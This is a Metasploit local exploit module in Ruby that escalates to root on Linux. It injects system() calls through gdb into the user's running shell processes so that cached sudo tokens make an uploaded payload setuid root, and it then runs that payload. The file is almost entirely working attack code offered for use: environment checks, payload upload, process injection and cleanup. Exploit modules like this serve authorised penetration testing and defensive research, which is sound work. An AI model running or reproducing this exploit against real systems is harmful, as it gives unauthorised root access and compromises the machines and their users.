##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Linux::Kernel
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'ptrace Sudo Token Privilege Escalation',
'Description' => %q{
This module attempts to gain root privileges by blindly injecting into
the session user's running shell processes and executing commands by
calling `system()`, in the hope that the process has valid cached sudo
tokens with root privileges.
The system must have gdb installed and permit ptrace.
This module has been tested successfully on:
Debian 9.8 (x64); and
CentOS 7.4.1708 (x64).
},
'License' => MSF_LICENSE,
'Author' =>
[
'chaignc', # sudo_inject
'bcoles' # Metasploit
],
'DisclosureDate' => '2019-03-24',
'References' =>
[
['EDB', '46989'],
['URL', 'https://github.com/nongiach/sudo_inject'],
['URL', 'https://www.kernel.org/doc/Documentation/security/Yama.txt'],
['URL', 'http://man7.org/linux/man-pages/man2/ptrace.2.html'],
['URL', 'https://lwn.net/Articles/393012/'],
['URL', 'https://lwn.net/Articles/492667/'],
['URL', 'https://linux-audit.com/protect-ptrace-processes-kernel-yama-ptrace_scope/'],
['URL', 'https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html']
],
'Platform' => ['linux'],
'Arch' =>
[
ARCH_X86,
ARCH_X64,
ARCH_ARMLE,
ARCH_AARCH64,
ARCH_PPC,
ARCH_MIPSLE,
ARCH_MIPSBE
],
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' => [['Auto', {}]],
'DefaultOptions' =>
{
'PrependSetresuid' => true,
'PrependSetresgid' => true,
'PrependFork' => true,
'WfsDelay' => 30
},
'DefaultTarget' => 0))
register_options [
OptInt.new('TIMEOUT', [true, 'Process injection timeout (seconds)', '30'])
]
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
end
def base_dir
datastore['WritableDir'].to_s
end
def timeout
datastore['TIMEOUT']
end
def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end
def check
if yama_enabled?
vprint_error 'YAMA ptrace scope is restrictive'
return CheckCode::Safe
end
vprint_good 'YAMA ptrace scope is not restrictive'
if command_exists? '/usr/sbin/getsebool'
if cmd_exec("/usr/sbin/getsebool deny_ptrace 2>1 | /bin/grep -q on && echo true").to_s.include? 'true'
vprint_error 'SELinux deny_ptrace is enabled'
return CheckCode::Safe
end
vprint_good 'SELinux deny_ptrace is disabled'
end
unless command_exists? 'sudo'
vprint_error 'sudo is not installed'
return CheckCode::Safe
end
vprint_good 'sudo is installed'
unless command_exists? 'gdb'
vprint_error 'gdb is not installed'
return CheckCode::Safe
end
vprint_good 'gdb is installed'
CheckCode::Detected
end
def exploit
unless check == CheckCode::Detected
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end
if is_root?
unless datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
end
end
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
if nosuid? base_dir
fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid"
end
# Find running shell processes
shells = %w[ash ksh csh dash bash zsh tcsh fish sh]
system_shells = read_file('/etc/shells').to_s.each_line.map {|line|
line.strip
}.reject {|line|
line.starts_with?('#')
}.each {|line|
shells << line.split('/').last
}
shells = shells.uniq.reject {|shell| shell.blank?}
print_status 'Searching for shell processes ...'
pids = []
if command_exists? 'pgrep'
cmd_exec("pgrep '^(#{shells.join('|')})$' -u \"$(id -u)\"").to_s.each_line do |pid|
pids << pid.strip
end
else
shells.each do |s|
pidof(s).each {|p| pids << p.strip}
end
end
if pids.empty?
fail_with Failure::Unknown, 'Found no running shell processes'
end
print_status "Found #{pids.uniq.length} running shell processes"
vprint_status pids.join(', ')
# Upload payload
@payload_path = "#{base_dir}/.#{rand_text_alphanumeric 10..15}"
upload @payload_path, generate_payload_exe
# Blindly call system() in each shell process
pids.each do |pid|
print_status "Injecting into process #{pid} ..."
cmds = "echo | sudo -S /bin/chown 0:0 #{@payload_path} >/dev/null 2>&1 && echo | sudo -S /bin/chmod 4755 #{@payload_path} >/dev/null 2>&1"
sudo_inject = "echo 'call system(\"#{cmds}\")' | gdb -q -n -p #{pid} >/dev/null 2>&1"
res = cmd_exec sudo_inject, nil, timeout
vprint_line res unless res.blank?
next unless setuid? @payload_path
print_good "#{@payload_path} setuid root successfully"
print_status 'Executing payload...'
res = cmd_exec "#{@payload_path} & echo "
vprint_line res
return
end
fail_with Failure::NoAccess, 'Failed to create setuid root shell. Session user has no valid cached sudo tokens.'
end
def on_new_session(session)
if session.type.eql? 'meterpreter'
session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
session.fs.file.rm @payload_path
else
session.shell_command_token "rm -f '#{@payload_path}'"
end
ensure
super
end
end